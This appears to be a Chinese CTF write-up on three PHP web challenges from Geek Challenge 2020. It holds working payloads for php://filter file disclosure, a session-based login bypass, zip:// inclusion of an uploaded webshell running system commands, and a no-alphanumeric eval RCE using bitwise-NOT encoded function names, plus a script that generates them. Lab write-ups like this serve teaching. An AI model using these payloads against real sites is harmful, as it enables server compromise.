当前位置: 首页 > news >正文

极客大挑战2020(部分wp)

Roamphp1-Welcome

在这里插入图片描述
405请求方法不允许,改一下请求方法
在这里插入图片描述
数组绕过,在页面搜索flag即可!本题:就是知道了405是请求方法不允许!

Roamphp2-Myblog(zip协议加文件包含)

在这里插入图片描述
首先进来就是一个博客页面,注意一下url那地方有些可疑,通过page来切换页面估计是文件包含,后缀在后端添加了!用php伪协议把源码给趴下来!

http://3ac4e25d-0f61-46d7-a807-0156c854dee6.node5.buuoj.cn:81/index.php?page=php://filter/convert.base64-encode/resource=login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

同理其它的

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself$logined = true;$_SESSION['status'] = $logined;}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";die();
}
?>

这里把前端的cookie(通过cookie来验证的)给删了然后密码置为空就好了!
在这里插入图片描述
进到后台这里有个文件上传的功能,这里是白名单(也是源码里面写了的我没放出来)没法打文件上传好像。这里就是结合文件包含打zip协议了!

访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

那么我们先压缩我们的php马,然后在把zip改成jpg利用即可!

?page=zip://./assets/img/upload/368d066d6c9103bba3e2e41338d2cad19e2f367b.jpg%231
POST : a=system(“tac /f*”);

本题:隐藏后缀名+如果能上传图片马是可以配合文件包含去打的(突然理解了之前别人说的,图片马要结合文件包含去利用的意思了)!

Roamphp4-Rceme(nb的函数调用)

在这里插入图片描述
vim缓存信息泄露,直接访问.index.php.swp。然后把下载好的文件拖到kali里面,用vim -r index.php.swp进行恢复!得到源码!

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);//获得验证数字
}if(isset($_POST['cmd']) and isset($_POST['code'])){if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){die('<script>alert(\'Captcha error~\');history.back()</script>');}$_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);$code = $_POST['cmd'];if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){//修正符:x 将模式中的空白忽略; die('<script>alert(\'Longlone not like you~\');history.back()</script>');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);die();}

简单来说就是:
1.code经过md5加密后的前5个字符要等于session 的code

2.cmd长度不能超过70且不能被正则匹配到

3.匹配括号内的内容替换成空格后结果为;(buhsi,这个正则我看了好久。还是解释一下吧!/[^\s()]+?((?R)?)/就是先匹配非空白字符或者非括号是非贪婪模式然后再加一个递归匹配。

(?R) 是递归引用,表示 整个正则表达式本身。? 表示 前面的 (?R) 是可选的(可以匹配 0 次或 1
次)。这使得递归可以终止(否则会无限递归)。

然后这其实就是无参数rce加无字母数字rce!这里用的是取反,其他用不了,至于为啥,自己想想!
先phpinfo()试一下吧!这里有一点就是不能用(phpinfo)();这种了,因为过不了正则。然后就是在php7中:

[‘phpinfo’]0
[‘phpinfo’]{0}()

是和(phpinfo)()一样的效果!是因为短数组语法:[‘phpinfo’]等同于array(‘phpinfo’)传统数组的定义方法。所以[phpinfo]0;等价于phpinfo();
发现是可以的!!!然后这里我们开始构造命令,我这里就为了方便直接读flag了!
在这里插入图片描述

一些解释:
cmd用的是system(end(getallheads())),就是我手动把ua的位置弄到了最后,这样end就可获取到写在ua里面的命令了!然后一些wp说用next,但是我ua不在第二个元素啊,好像也弄不到第二个!getallheads()函数返回请求头的信息

这里就用var_dump(getallheads());来看看
在这里插入图片描述
最后贴个取反用的脚本吧:

<?php
$a=urlencode(~'system');
echo "[$a]"."[~%FF]";
echo "\n";
$b=urlencode(~'getallheaders');
echo "[$b]"."[~%FF]";
echo "\n";
$c=urlencode(~'end');
echo "[$c]"."[~%FF]";
$d=urldecode('%CF');
echo ~$d;
?>

本题:1,.index.php.swp泄露然后再kali里面用vim -r index.php.swp命令来恢复!
2,md5每次发包后都会变,这是写在源码里面的
3,php7的nb函数调用绕过正则,[phpinfo]0;等价于phpinfo();
4,取反绕过无字母数字rce

http://www.dtcms.com/a/308106.html

相关文章:

  • 【1】数据可视化分析方法
  • 【go】 if条件控制语句
  • 渗透RCE
  • php在使用 composer 安装时报错集合
  • Jmeter 命令行压测、HTML 报告、Jenkins 配置目录
  • 材质:3D渲染的隐形支柱
  • 第二篇:Three.js核心三要素:场景、相机、渲染器
  • Linux网络-------3.应⽤层协议HTTP
  • 【运维基础】Linux 进程调度管理
  • 异步I/O和同步I/O
  • USRP捕获手机/路由器数据传输信号波形(下)
  • 金融专题|某跨境支付机构:以榫卯企业云平台 VPC 功能保障业务主体安全
  • 文档识别算法-文字识别接口-表格还原-图表文字识别API
  • HCIA-Datacom认证笔记:IP路由基础——核心概念与路由分类
  • Amazon Aurora MySQL 8.0 完整指南
  • 一些利用AIOps工具进行云原生技术持续创新的成功案例
  • Python 元编程实战:动态属性与数据结构转换技巧
  • Pycaita二次开发基础代码解析:曲面法线生成、零件加载与材料应用
  • 基于LSTM-GRU混合网络的动态解析:美联储维稳政策与黄金单日跌1.5%的非线性关联
  • AI陪伴的发展现状
  • STM32——HAL 库MDK工程创建
  • 2000-2024年中国1KM分辨率年度植被指数(NDVI、EVI)数据集
  • 万物都有属于自己的律动
  • 公路坑槽检测分析原理和思路
  • 嵌入式开发学习———Linux环境下IO进程线程学习(一)
  • 【0基础PS】Photoshop (PS) 理论知识
  • linux线程互斥和同步
  • 操作系统系统面试常问(内存、快表、相关知识)
  • 中欧建交50周年,中硼医疗领衔中意BNCT合作月,中国尖端技术出海欧洲
  • main函数,常量指针与指针常量,野指针等,void与void的区别